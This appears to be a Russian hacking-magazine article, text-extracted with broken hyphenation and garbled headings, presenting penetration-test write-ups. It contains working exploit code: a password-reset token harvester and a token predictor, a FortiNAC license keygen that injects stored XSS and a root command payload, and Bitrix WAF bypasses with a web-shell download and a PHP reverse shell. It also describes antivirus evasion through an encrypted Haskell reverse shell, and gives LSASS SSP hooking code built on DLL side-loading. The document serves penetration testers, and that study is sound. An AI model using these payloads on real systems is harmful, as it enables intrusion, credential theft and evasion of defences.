Для иссле дова ния я написал сце нарий, который забирал вре мя сер вера
и токены, что бы записать их в базу дан ных SQLite.

 import asyncio
 import aiosqlite
 import logging
 import sqlite3
 import requests

   from aiosmtpd.controller import Controller

# tbl_empty = 'DELETE FROM `emails`;'
  tbl = '''

CREATE TABLE IF NOT EXISTS `emails` (
   `id`    INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
   `data`  TEXT,
   `token` TEXT,
   `date`  DATETIME DEFAULT CURRENT_TIMESTAMP
);
'''

  tbl_ts = '''
CREATE TABLE IF NOT EXISTS `timestamps` (
   `id`    INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
   `serverdate` TEXT
);
'''

  cookies = {
    'csrftoken':
'mCR8a2gnBrliEVp1F2KlKYxSC9yfXdpWDXyMQNJvAq56ulnieVnhb3LTTcc2T4aQ',
}

  postdata = {
    'csrfmiddlewaretoken':
'HS1bHsCw7WKfAMnb4718xgM4PjVkrDLjYdIPnd5E6Vu3qclsD0E4Yl056mz7nuwd',
    'email': 'shaitan@24radio.ru'
}

  headers = {
    'Referer': 'https://top-secret.com/'
}

  url = 'https://top-secret.com/request_password_recovery'

  async def sendmsg():
        r = requests.post(url, data=postdata, cookies=cookies, headers=
headers)
    await ins_ts_data(r.headers['Date'])

  ins = 'INSERT INTO `emails`(`data`,`token`) VALUES (?,?)'
  ins_ts = 'INSERT INTO `timestamps`(`serverdate`) VALUES (?)'

   async def ins_data(d, t):
      db = await aiosqlite.connect('emails.db')
      await db.execute(ins, (d, t,))
    await db.commit()
    await db.close()

  async def ins_ts_data(t):
      db = await aiosqlite.connect('emails.db')
     await db.execute(ins_ts, (t,))
    await db.commit()
    await db.close()

 class CustomHandler:
     cnt = 0

        async def handle_DATA(self, server, session, envelope):
         peer = session.peer

         mail_from = envelope.mail_from
         rcpt_tos = envelope.rcpt_tos

         data = envelope.content
         tkn_f = data.find(b'token=')

          if tkn_f >= 0:
             await ins_data(data, data[tkn_f+6:tkn_f+20])
            await sendmsg()

             self.cnt += 1
           print(self.cnt)

        return '250 OK'

   if __name__ == '__main__':
   logging.getLogger("asyncio").setLevel(logging.INFO)
   logging.getLogger("asyncio").info("TEST")
     conn = sqlite3.connect('emails.db')
   conn.execute(tbl)
   conn.execute(tbl_ts)
   conn.commit()
        r = requests.post(url, data=postdata, cookies=cookies, headers=
headers)
    conn.execute(ins_ts, (r.headers['Date'],))
   conn.commit()
   conn.close()
     handler = CustomHandler()
      controller = Controller(handler, port=25)
   # Run the event loop in a separate thread
   controller.start()
   # Wait for the user to press Return
   input('SMTP server running. Press Return to stop server and exit.
')
   controller.stop()

В резуль тате уда лось соб рать око ло 150 токенов вос ста нов ления и зна чений
вре мени:

30593017099328 - 1593200939 => 7038 
92945501325007 - 1593200945 => 2507 
54042258990136 - 1593200954 => 4286 
55082265990136 - 1593200965 => 8256 
74123809495043 - 1593200974 => 8443 
80123709695003 - 1593200980 => 7603 
31200950996001 - 1593200990 => 6001 
90018923709459 - 1593200997 => 8049 
01123800995143 - 1593201004 => 8913 
21151066940230 - 1593201016 => 6420 
98023511322077 - 1593201023 => 8277 
36123400495113 - 1593201031 => 6443 
09193153200264 - 1593201039 => 0264 
56098248901136 - 1593201046 => 8896 
04195153230314 - 1593201054 => 3314 
01261739005825 - 1593201062 => 7085 

А теперь обра тим ся к ком бинато рике. Мы зна ем, что у нас есть вре мя
(10 байт) и четыре циф ры. Сор тиров ка стол бцов про исхо дит по каким-то пра- 
вилам. Так как это не фун кция свер тки, веб-при ложе ние дол жно видеть,
по какому пра вилу нуж но раз ложить ключ, что бы получить иско мое зна чение
(дату).

Поп робу ем поис кать ано малии токенов. Если пос ледний сим вол клю ча
нулевой, то мы видим некото рую ано малию сре ди всех подоб ных токенов,
это чис ла 51 и 23.

Нам нуж но смот реть имен но на начало тай мстем па, потому что стро- 
ка 15932 ста тич на.

А вот что будет, ког да пос ледняя циф ра — трой ка.

Та кая же ано малия с 123 и 95.
Это зна чит, что на самом деле генери рует ся 13 сим волов timestamp,

это вре мя + мил лисекун ды, пос леднее слу чай ное чис ло отве чает за алго ритм
перес танов ки.

Со бира ем дан ные для каж дого токена, получа ем такой экс пло ит:

  import calendar, time;

  date = "Sun, 05 Jul 2020 13:59:22 GMT"

  def permute(t, inv=False):
      if t[-1] == "0": perm = [4,3,8,12,11,5,2,10,1,6,0,9,7,13]
      if t[-1] == "1": perm = [0,6,8,1,2,12,4,5,9,3,7,11,10,13]
      if t[-1] == "2": perm = [3,1,10,5,8,12,4,0,7,11,9,2,6,13]
      if t[-1] == "3": perm = [2,10,9,4,3,6,11,7,0,12,8,1,5,13]
      if t[-1] == "4": perm = [2,6,3,7,8,10,5,0,4,1,9,11,12,13]
      if t[-1] == "5": perm = [1,10,7,6,2,0,4,9,3,12,8,5,11,13]
      if t[-1] == "6": perm = [11,0,8,12,5,2,10,9,6,1,4,7,3,13]
      if t[-1] == "7": perm = [7,5,0,8,9,11,6,2,3,4,12,10,1,13]
      if t[-1] == "8": perm = [4,2,10,6,12,1,8,9,0,3,5,7,11,13]
      if t[-1] == "9": perm = [3,12,0,7,6,9,1,10,5,8,11,2,4,13]

   assert list(sorted(perm)) == list(range(14))
 if inv:

       perm = [perm.index(i) for i in range(14)]
     return "".join(t[i] for i in perm)

   for i in range(10000):
  

 
print (permute(str(calendar.timegm(time.strptime(date, '%a, %d %b 
%Y %H:%M:%S GMT')))+"{0:04}".format(i), inv=True))

Для демонс тра ции мож но взять любой email, который зарегис три рован
на сай те с этим движ ком, и зап росить вос ста нов ление пароля.

Ко пиру ем зна чение заголов ка  и встав ляем его в код экс пло ита.Date

Вы пол нив экс пло ит, сох раня ем получен ные токены и смот рим в пись мо.
Убеж даем ся, что один из наших токенов сов пада ет с тем, что при шел в пись- 
ме.

Ах да, что там у нас было еще сек ретно го?
Вер немся к это му скрин шоту.

Здесь  — это вре мя.id
Со бира ем :skey

8979529143354119210935903611 
4476293516911019210935903611 
5265099351791619210935903611 
0390996461518719210935903611 
3215920613914919210935903611 
7769931151012919210935903611 
4936693510915119210935903611 
8919116173056119210935903611 

Вре мя + ID поль зовате ля?
, судя по виду, — это SHA-256 от... вре мени?Akey

Все иден тифика торы, вклю чая сек реты, зна чения которых дол жны быть
крип тогра фичес ки стой кими и уни каль ными, — это вре мя. Счи тать ли это бэк- 
дором? Не знаю.

Êàê ýòî ìîæíî ïîôèêñèòü
Нас коль ко я понимаю, ник то переде лывать текущую архи тек туру не будет,
поэто му, если сов сем не хочет ся исполь зовать крип тогра фичес ки стой кие
генера торы слу чай ных чисел, сто ит рас смот реть хотя бы шиф рование
на уров не кли ент ских зап росов.

Как это может выг лядеть? Для каж дого домена генери рует ся спе циаль ный
ключ, который шиф рует зна чение timestamp и рас шифро выва ет стро ки
обратно.

  $plaintext = 51910139060232;
  $password = 'Hello 123';

  $method = 'aes-256-cbc';
      $key = substr(hash('sha256', $password, true), 0, 32);
     echo "Password: " . $password . "\n";

// Вектор инициализации должен быть кратен длине ключа.
// Он на самом деле может быть ненулевым, также он не является 
секретом, и его, по идее, можно передавать в открытом виде.
// А раз его можно передавать, можно держать его статичным, хотя 
если менять его — меняется шифротекст.

             
             

      

$iv = chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1)
. chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) .
chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3);

     echo 'plaintext ' . $plaintext . "\n";
   

      
echo 'encrypted (base64_encode) to: ' . base64_encode(openssl_encrypt
($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";

    
     

echo 'encrypted (hex) to: ' . bin2hex(openssl_encrypt($plaintext,
$method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";

  
    

$decrypted = openssl_decrypt(base64_decode("QzEIPRoI6RllFGnAG0z0PQ=="
), $method, $key, OPENSSL_RAW_DATA, $iv);

В резуль тате на бэкен де текущая архи тек тура будет про дол жать работать
в том же виде, что и сей час, но все стро ки с датой будут замене ны крип- 
тостой кими хешами вида  (или

, кому как боль ше нра вит ся), которые не рас- 

шифро вать без клю ча. Ну или мож но прос то генерить крип тостой кие стро ки.

71ccca0995eebbc9315547f2ca76ee67
cczKCZXuu8kxVUfyynbuZw==

https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BF%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D1%8B%D1%85_%D1%87%D0%B8%D1%81%D0%B5%D0%BB
https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D0%B3%D1%80%D1%83%D1%8D%D0%BD%D1%82%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4
https://www.timestampconvert.com/


РАБОТЫ — ПОБЕДИТЕЛИ
PENTEST AWARD В НОМИНАЦИИ
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COVERSTORY

Се год ня мы поз накомим тебя с четырь мя луч шими работа ми
с Pentest Award из номина ции Bypass. Тебя ждут: взлом
FortiNAC через вре донос ный ключ акти вации, зах ват Bitrix
в обход WAF, опыт написа ния реверс-шел ла с кас томным
шиф ровани ем на Haskell и метод сай дло ада DLL, поз воля- 
ющий миновать средс тво защиты.

Pentest Award
В августе 2023 года прош ла церемо ния наг ражде ния  — пре мии
для спе циалис тов по тес тирова нию на про ник новение, которую учре дила
ком пания Awillix. Мы пуб лику ем луч шие работы из каж дой номина ции. В этой
статье соб раны работы — победи тели в номина ции Bypass.

Pentest Award

×ÅÒÂÅÐÒÎÅ ÌÅÑÒÎ: «ÊÅÉÃÅÍ ÄËß FORTINET FORTINAC,
ÂÑÒÐÀÈÂÀÞÙÈÉ Â ËÈÖÅÍÇÈÎÍÍÛÉ ÊËÞ× ÏÅÉËÎÀÄ ROOT RCE
(CVE-2023-22637)»

• Àâ òîð: Èëüÿ Ïîëÿêîâ, Angara Security

В этом иссле дова нии я изу чил при ложе ние FortiNAC и нашел цепоч ку дефек- 
тов и уяз вимос тей: облегча ющая ревер синг дебаго вая информа ция в ском- 
пилиро ван ных клас сах Java, сла бая крип тогра фия, хра нимая XSS и инъ екция
команд, поз воля ющая соз дать генера тор лицен зион ных клю чей, которые пос- 
ле акти вации выпол няют про изволь ный код от име ни супер поль зовате ля
на сер вере при ложе ния.

Èññëåäîâàíèå è ýêñïëóàòàöèÿ
На чалось всё с деком пиляции Java-клас сов при ложе ния, что поз волило
получить фак тичес ки исходный код (раз ве что без ком мента риев), в том чис ле
име на локаль ных перемен ных, бла года ря любез но оставлен ной при ком- 
пиляции отла доч ной информа ции. Код, написан ный на Java Server Pages,
деком пиляции, разуме ется, не тре бовал.

Я про ана лизи ровал механизм про вер ки лицен зион ных клю чей и нашел
легаси-фун кцию. Она про веря ет клю чи в ста ром фор мате, осно ван ном
на уяз вимой к ревер сингу сим метрич ной крип тогра фии.

Та ким обра зом уда лось най ти воз можность инъ екции команд через текст
клю ча.

Се рий ный номер зада ется про изволь ной стро кой внут ри клю ча, а это откры- 
вает воз можность для экс плу ата ции хра нимой XSS на сай те при ложе ния.

Ãåíåðàòîð ëèöåíçèîííûõ êëþ÷åé ñ ïîëåçíîé íàãðóçêîé
 import com.bsc.license.LicenseDecoder;
 import com.bsc.license.FortiNACLicense;
 import com.bsc.license.FortiNACType;
 import com.bsc.util.EncodeDecode;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.io.IOException;
 import java.io.FileWriter;

   public class inject {

    static String pack(String s) {
     int l = s.length();
     

  
return String.valueOf(String.valueOf(l).length()) + String.valueOf

(l) + s;
}

      static String key(FortiNACLicense l, String html) {
 return EncodeDecode.encodeString(

   pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
   pack(String.valueOf(l.getConcurrentClientCount())) +
      pack("java.util.ArrayList") + pack("") + // Plugins
   pack(l.getEth0MAC().toString()) +
   pack(l.getType().getFullName()) +
    pack("") + // Vendor
    pack("1.8") + // Version
      pack("java.util.ArrayList") + pack("") + // Options
   pack(l.getSystemUUID().toString()) +
    pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
   pack(l.getSKU()) +
   pack(l.getModelName()) +
    pack("false") + // Expired
    pack("1") + // rtrCount
   pack(l.getName().toString()) +
     pack(l.getSerial().toString() + html) +
  pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
);
}

       public static void main(String[] args) throws IOException {
       String payload = new String(Files.readAllBytes(Paths.get(".",
"payload.sh")));
   System.setProperty("javax.net.ssl.keyStorePassword",
"^8Bradford%23");
      LicenseDecoder ld = new LicenseDecoder();
      

   
FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths

.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.
println(l);

      FileWriter output = new FileWriter("output.lic");
  output.write(
   key(
     l,

 
  

     "<img src='nowhere' onerror="var IP=$('licenseServerCombo').
value.split(/ -- /)[0];" +
     "CommonUtils.dataRequest('LicenseActions.jsp',{},
     {action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:
'0'+IP,newLicense:'" +
       key(l, "") + ";" + payload + "'});"/>"
   )
  );
  output.close();
}
}

Âûâîä

Пос ле ухо да Fortinet из Рос сии внеш ний зло умыш ленник мог вос поль зовать ся
тем, что рос сий ские ком пании нуж дают ся в прод лении лицен зии на FortiNAC.
Раз местив в интерне те кей гены, которые соз давали бы «тро яни зиро ван ные»
лицен зион ные клю чи, он зах ватил бы сер веры жертв.

ÒÐÅÒÜÅ ÌÅÑÒÎ: «ÈÇÂÅÑÒÍÀß ÓßÇÂÈÌÎÑÒÜ Â BITRIX È ÁÀÉÏÀÑ
WAF»

• Àâ òîð: maledictos

Бай пасы, о которых пой дет речь, про води лись в раз ное вре мя и при пен тесте
инфраструк туры раз ных ком паний. Общее здесь — наличие оди нако вого
WAF, пра вила для которо го дописы вались по ходу дела и который в качес тве
обновле ния получа ли все кли енты. То есть пос ле изме нения обще го пра вила
у одно го кли ента у дру гих оно тоже менялось.

В пер вый раз все было мак сималь но пря моли ней но. Через «1С:Бит рикс»
мож но было закинуть шелл, исполнить код, получить дос туп без допол нитель- 
ных изме нений наг рузки. В общем, делай что душа пожела ет.

На вто рой раз мы встре тили пра вило для WAF, которое бло киро вало конс- 
трук ции такого типа:

  <?php system($_GET["cmd"]); ?>

Ло гич ное решение, но от проб лемы оно не избавля ет. Жаль, у нас сра зу
не спро сили, как зак рыть эту дыру.

Те перь СЗИ бло киру ет с фор мулиров кой «Remote code execution» и кра- 
сивой над писью.

Мы без проб лем обош ли это пра вило. Нап ример, сра бота ет вот такой код:

  $file = fopen("/homepath/bitrix/ololol.php","wb");
  $content = 'whoami';

fwrite($file,$content);
fclose($file);

Или такой:

file_put_contents("/homepath/bitrix/ololololo.php",

 
fopen("https://raw.githubusercontent.com/artyuum/
simple-php-web-shell/master/index.php", "r"));

Пос ле сле дующе го обновле ния ока зались зап рещены все коман ды и фун кции
PHP в теле зап роса. Так же изме нили  и кое-что еще. Но на
этом прик лючения вов се не закон чились!

content-type

Поз днее у дру гого заказ чика мы сно ва наш ли Bitrix с той же уяз вимостью,
но на этот раз под защитой СЗИ. Бороть ся с которой неп росто, но поп- 
робовать сто ило.

Тем более что обходной путь ока зал ся очень прос тым. При помощи 
 по исто рии домен ного име ни мы наш ли dev-сайт.

по- 
иско вика

Тут при нажатии «Авто риза ция Бит рикс24» может дис кло узнуть ся основной
домен, для которо го этот «Бит рикс» покупал ся.

Даль ше всё по той же схе ме: про вери ли путь для залив ки, получи ли ID сес сии
Bitrix, заг рузили шелл.

Вы тас кива ем кон фиг базы дан ных.

И получа ем логин и пароль в виде MD5 и бонусом — email.

Под бира ем пароль и заходим на глав ный сайт под адми ном (или поч ти).
Получа ется, мы обош ли WAF? Поч ти что. Оста лось толь ко выпол нить код,
но кноп ка «Выпол нить» неак тивна.

Од нако мож но самос тоятель но добавить себя в груп пу адми нис тра торов,
дос таточ но лишь пос тавить галоч ку. Очень удоб но!

Пос ле это го мож но спо кой но исполь зовать встро енную фун кцию исполне ния
кода, а всё потому, что на этом эндпо инте пра вила не уста нов лены. Выходит,
RCE by design...

Еще воз никли неболь шие проб лемы с выводом резуль тата выпол нения
скрип та. Если пер вый зап рос не сра бота ет, то вывод осталь ных скрип тов
не отоб разит ся, но это мелочи.

Наг рузка:

$sock=fsockopen("ip",port);
   $proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes)

Âûâîä
Здесь мож но дать сле дующие рекомен дации:

сме нить все пароли;•
об новить Bitrix до акту аль ной вер сии или отклю чить уяз вимый эндпо инт;•
ес ли не исполь зует ся фун кция исполне ния кода из UI, уда лить этот модуль;•
при миг рации сай та зак рыть дос туп к dev-сре де из интерне та или зак рыть
ее при помощи СЗИ;

•

не перено сить базу дан ных dev-сре ды в про дак шен-сре ду.•

Продолжение статьи →

https://award.awillix.ru/
https://viewdns.info/


НЕСКУЧНЫЕ БАЙПАСЫ
РАБОТЫ — ПОБЕДИТЕЛИ PENTEST AWARD В

НОМИНАЦИИ BYPASS

COVERSTORY  НАЧАЛО СТАТЬИ←

ÂÒÎÐÎÅ ÌÅÑÒÎ: «REVERSE SHELL ÍÀ HASKELL È ÑÎÁÑÒÂÅÍÍÛÉ
ØÈÔÐÎÂÀÍÍÛÉ ÊÀÍÀË ÑÂßÇÈ ÄËß ÎÁÕÎÄÀ ÀÊÒÓÀËÜÍÎÉ
ÂÅÐÑÈÈ ÀÍÒÈÂÈÐÓÑÀ»

• Àâ òîð: W0lFreaK

В рам ках одно го из рабочих про ектов по внут ренне му пен тесту я обна ружил
на одном из сер веров воз можность заг ружать фай лы и запус кать их. Там
работа ла ОС Windows Server. Но, помимо это го, был уста нов лен один
из наибо лее извес тных анти виру сов в акту аль ной вер сии, со све жими
обновле ниями и с пра виль но задан ными нас трой ками (нечас то такое встре- 
тишь, вер но?).

Ïåðâûå ïðîáëåìû
Ког да я обна ружил воз можность заг рузки и исполне ния заг ружен ных фай лов,
пер вым делом я попытал ся сге нери ровать наг рузку для вызова реверс-шел ла
с помощью нес коль ких сов ремен ных генера торов (Msfvenom, Empire). Одна- 
ко все сге нери рован ные ими наг рузки, даже соз данные с при мене нием раз- 
личных энко деров и крип торов, бло киро вались анти виру сом на эта пе заг- 
рузки или запус ка. Это соз дало для меня проб лему: получить шелл нуж но,
но меша ет анти вирус.

Haskell
За нес коль ко дней до начала про екта я нат кнул ся на обзор язы ка прог рамми- 
рова ния Haskell. Сре ди про чих инте рес ных осо бен ностей была упо мяну та
стой кость к отладке. В некото рых реали заци ях это го язы ка прог раммы прев- 
раща ются в байт-код, который потом запус кает ся в собс твен ной вир туаль ной
машине. Поэто му исполня емый файл Haskell может иметь динами чес кую
струк туру, что поз воля ет скры вать опре делен ные сиг натуры, детек тиру емые
средс тва ми авто мати зиро ван ного ана лиза исполня емых фай лов.

Имен но поэто му я решил перепи сать модуль реверс-шел ла на Haskell. Я
пос читал эту задачу дос таточ но три виаль ной и не тре бующей осо бых вре мен- 
ных зат рат. Это было боль шой моей ошиб кой.

Ðàç bypass
Как мне уда лось выяс нить спус тя неделю, Haskell тре бует абсо лют но аль тер- 
натив ного обра за мыш ления. Он под держи вает стро го фун кци ональ ный
стиль, ленивые вычис ления и монады. Все эти сло ва до зна комс тва с этим
чуд ным язы ком прог рамми рова ния мне не были извес тны, ведь я не прог- 
раммист. Но все-таки спус тя еще нес коль ко дней изу чения мне уда лось соз- 
дать что-то отда лен но похожее на ту вро де бы три виаль ную прог рамму, что
мне была нуж на. По край ней мере, она выпол няла хотя бы некото рые из нуж- 
ных мне дей ствий.

При заг рузке это го фай ла на сер вер и при его запус ке мне дей стви тель но
уда лось пре одо леть анти вирус. Он перес тал бло киро вать и уда лять исполня- 
емый файл, но воз никла новая проб лема. Как толь ко я получал коман дную
обо лоч ку в Metasploit, анти вирус раз рывал соеди нение. В резуль тате я не мог
совер шить ни одно го дей ствия на целевой сис теме, а Metasploit был необ- 
ходим для орга низа ции про чих, уже ранее пос тро енных тун нелей.

Äâà bypass
К это му шагу уже про изо шел бай пас анти вирус ных про верок фай ла — сиг-
натур ной и эвристи чес кой, одна ко анти вирус про дол жал наб людать
за сетевым тра фиком и раз рывать все подоз ритель ные соеди нения. Поэто му
в какой-то момент у меня родилась новая све жая идея. Ведь я могу реали- 
зовать шиф рование тра фика меж ду коман дным цен тром и узлом-жер твой
самос тоятель но! И тог да, в зашиф рован ном тра фике, анти вирус не смо жет
выявить подоз ритель ную активность и поз волит ее осу щест влять. А так
как анти вирус уста нов лен акту аль ный, сер тифици рован ный, со све жими
базами и эвристи кой, зна чит, и шифр надо брать... Самый прос той и баналь-
ный — Атбаш. Поэто му я добавил в свою наг рузку на Haskell реали зацию
шиф рования путем замены каж дого сим вола про тиво полож ным по ASCII.
И добавил отдель ный мик ро-прок си-скрипт, запус каемый на коман дном цен- 
тре.

Про писы ваю пор ты пере адре сации, заг ружаю новый файл на целевой сер- 
вер. Запус каю его, при нимаю бэк коннект и... Бин го! Анти вирус боль ше
не руга ется на мой файл, не видит ничего подоз ритель ного в тра фике,
не раз рыва ет соеди нения, а это зна чит, все бай пасы прош ли успешно, анти- 
вирус ведет себя мак сималь но тихо и пос лушно, не мешая мне изу чать
целевую сис тему с помощью при выч ных и удоб ных инс тру мен тов! Цель дос- 
тигну та.

Âûâîä
Та кой нет риви аль ный, пусть и очень заморо чен ный под ход поз волил добить- 
ся отличных резуль татов, а имен но — при вел к ком про мета ции все го домен- 
ного леса. А для меня самого это ста ло отличной воз можностью улуч шить
свои навыки, под тянуть зна ния и сни зить гра дус самона деян ности при пер- 
вом зна комс тве с новыми язы ками и тех нологи ями.

ÏÅÐÂÎÅ ÌÅÑÒÎ: «ÍÅÑÊÓ×ÍÛÉ BYPASS, ÈËÈ ÄÓÐÈÌ ÊÀÑÒÎÌÍÎÅ
ÏÐÀÂÈËÎ ÑÇÈ, ÌÎÍÈÒÎÐßÙÅÅ ÇËÎÂÐÅÄÍÛÅ ÌÎÄÓËÈ SSP»

• Àâ òîð: snovvcrash

Нес кучный бай пас средств защиты под разуме вает раз гла шение при ват ного
кода, который от это го, ско рее все го, обес ценит ся. Поэто му я решил рас ска- 
зать инте рес ный кейс из опы та учас тия в Purple Team. Нам уда лось надурить
кас томное пра вило СЗИ, нацелен ное на монито ринг злов редных SSP-
модулей.

Я счи таю, что пря мые манипу ляции с памятью LSASS дав но утра тили свою
эффектив ность из-за того, что есть нам ного менее инва зив ные методи ки
получе ния кре дов на внут ряках и ред тимах. Опи сан ный далее слу чай пре тен- 
дует ско рее на забав ную «бай ку из скле па», нежели на серь езную тех нику
зре лых зло умыш ленни ков. Одна ко тут при сутс тву ет мини-ресерч, полез ный
для обу чения.

Итак, приш ли к нам пред ста вите ли синей коман ды и спро сили, как может
хац кер спря тать свой мал варный SSP-про вай дер вро де 

от взгля да монито рин га, оста ваясь при этом кор рек тно зарегис три рован ным
в сис теме. Отталки ваясь от того, что детект осно вывал ся на отсле жива нии
сос тояния клю ча 

 и про вер ки соот ветс тву ющих DLL на наличие циф ровых под писей,

мы решили поресер чить сущес тву ющие либы на пред мет уяз вимос ти к DLL
Side-Loading.

mimilib.dll

HKLM\SYSTEM\currentcontrolset\control\lsa\Security
Packages

Â ïîèñêàõ ýêñïîðòà SpLsaModeInitialize
Со берем спи сок легитим ных биб лиотек из :C:\WINDOWS\System32\*

PS  .dll  | %  
  emp

> Get-ChildItem C:\WINDOWS\System32\ -Filter * -Recurse {
$_.FullName } > \t \dlls.txt 

Да лее с помощью нехит рого скрип та на Python пос мотрим на их экспор ты
с целью най ти все DLL, которые пре дос тавля ют апи :SpLsaModeInitialize

PS  emp   py ools
 

> foreach ($line in Get-Content \t \dlls.txt) { \t \pe_
exports.py $line | findstr /i SpLsaModeInitialize } # C:\WINDOWS\
System32\cloudAP.dll: SpLsaModeInitialize @1
# C:\WINDOWS\System32\kerberos.dll: SpLsaModeInitialize @3
# C:\WINDOWS\System32\msv1_0.dll: SpLsaModeInitialize @3
# C:\WINDOWS\System32\negoexts.dll: SpLsaModeInitialize @1
# C:\WINDOWS\System32\pku2u.dll: SpLsaModeInitialize @1
# C:\WINDOWS\System32\schannel.dll: SpLsaModeInitialize @1
# C:\WINDOWS\System32\TSpkg.dll: SpLsaModeInitialize @1
# C:\WINDOWS\System32\VMWSU.DLL: SpLsaModeInitialize @1
# C:\WINDOWS\System32\wdigest.dll: SpLsaModeInitialize @7

Со дер жимое :pe_exports.py

 import sys,pefile,os
  if not len(sys.argv[1:]):

 print ("Usage pe_exports.py FILE")
exit(1)

   for f in sys.argv[1:]:
  pe = pefile.PE(f)

  generate = False
  exports = []

  lib = os.path.basename(f)
   if '-gen' in sys.argv:

  generate = True
    exportSymbols = getattr(pe, 'DIRECTORY_ENTRY_EXPORT', None)

 if exportSymbols:
   for sym in exportSymbols.symbols:

  if not generate:
try:

   line = '{} @{}'.format(sym.name.decode(), sym.ordinal)
except:

  line = 'None @{}'.format(sym.ordinal)
    if sym.forwarder is not None:

  line += ' -> {}'.format(sym.forwarder.decode())
print('{}: {}'.format(f,line))
continue

    if sym.name.decode() == 'DllMain': continue
  exports += [' {name}={lib}.{name} @{ord}'.format(

  name = sym.name.decode(),
  ord = sym.ordinal,
  lib = '.'.join(lib.split('.')[:-1])

)]
 if generate:

print('''LIBRARY BTREE
EXPORTS
{}
'''.format('\n'.join(exports)))

По мимо дефол тных вин довых биб лиотек, в гла за сра зу же бро сает ся 

, которая ока залась частью пакета гос тевых

допол нений VMware Tools. С циф ровой под писью у этой биб лиоте ки всё
в нор ме.

C:\
WINDOWS\System32\VMWSU.DLL

Èìïîðòû VMWSU.DLL
Те перь гля нем на импорты .VMWSU.DLL

Как видишь, эта биб лиоте ка, ско рее все го, будет пытать ся под тянуть фун кции
, которые не вхо дят в набор обя затель ных ком понен тов

ОС.

vcruntime140.dll

Ïîääåëêà SSP è õóêèíã SpLsaModeInitialize
Про ведем ата ку DLL Side-Loading, нацелен ную на под мену биб лиоте ки

 при заг рузке . Что бы пере опре делить поведе- 

ние экспор та , мы вос поль зуем ся клас сичес кой тех- 

никой API-хукин га.

vcruntime140.dll VMWSU.DLL
SpLsaModeInitialize

Для начала соберем все экспор ты  с помощью
, что бы наша под дель ная биб лиоте ка  прок сирова ла

вызовы  к соот ветс тву ющей легитим ной биб лиоте ке:

vcruntime140.dll
SharpDllProxy VMWSU.DLL

vcruntime140.dll

 
 

 
 
[+] Reading exports from C:\windows\system32\vcruntime140.dll... 
 
 
[+] Redirected 71 function calls from vcruntime140.dll to tmp50CA.dll 
 
 
[+] Exporting DLL C source 
to C:\Repos\SharpDllProxy\SharpDllProxy\bin\Debug\netcoreapp3.1\output_v
cruntime140\vcruntime140_pragma.c 
 
 

Cmd > .\SharpDllProxy.exe --dll C:\windows\system32\vcruntime140.dll

Те перь, воору жив шись при мером мал варно го SSP с , а так же
чес тно поза имс тво вав шаб лон для хукин га из про екта  (я
уже исполь зовал его в статье «

»), наб роса ем
быс трый трам плин, который будет менять поведе ние .

Пол ный код дос тупен .

Red Team Notes
ShellcodeFluctuation

Флук туация шелл-кода. Пишем инжектор
для динами чес кого шиф рования полез ной наг рузки в памяти

SpLsaModeInitialize
у меня на GitHub

      
   

bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID
jumpAddress, HookTrampolineBuffers* buffers) {
    uint8_t trampoline[] = {
           0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov 
r10, addr
    0x41, 0xFF, 0xE2 // jmp r10
};

   uint64_t addr = (uint64_t)(jumpAddress);
  memcpy(&trampoline[2], &addr, sizeof(addr));

   DWORD dwSize = sizeof(trampoline);
   DWORD oldProt = 0;

   bool output = false;
 if (installHook)

 {
     if (buffers != NULL)
    memcpy(buffers->previousBytes, addressToHook, buffers->
previousBytesSize);
     if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE,
&oldProt))
 {
    memcpy(addressToHook, trampoline, dwSize);
    output = true;
 }
}
else
{
   dwSize = buffers->originalBytesSize;
     if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE,
&oldProt))
 {
    memcpy(addressToHook, buffers->originalBytes, dwSize);
    output = true;
 }
}

   ::VirtualProtect(addressToHook, dwSize, oldProt, &oldProt);
 return output;

}
     

     
void NTAPI MySpLsaModeInitialize(ULONG LsaVersion, PULONG
PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables) {

     HookTrampolineBuffers buffers = { 0 };
  buffers.originalBytes = g_hookedSpLsaModeInitialize.

spLsaModeInitializeStub;
  buffers.originalBytesSize = sizeof(g_hookedSpLsaModeInitialize.

spLsaModeInitializeStub);
   HINSTANCE library = LoadLibraryA("VMWSU.DLL");

    FARPROC spLsaModeInitializeAddress = GetProcAddress(library,
"SpLsaModeInitialize");

  
 

fastTrampoline(false, (BYTE*)spLsaModeInitializeAddress, (void*)&
MySpLsaModeInitialize, &buffers);

  *PackageVersion = SECPKG_INTERFACE_VERSION;
  *ppTables = SecurityPackageFunctionTable;
  *pcTables = 1;

  
 

fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)&
MySpLsaModeInitialize, NULL);
}

Оче вид но, что ско пипа щен ный с ired.team код SSP палит ся всем чем мож но
даже в ста тике, одна ко наша цель в дан ном слу чае — не избе жать детек тов
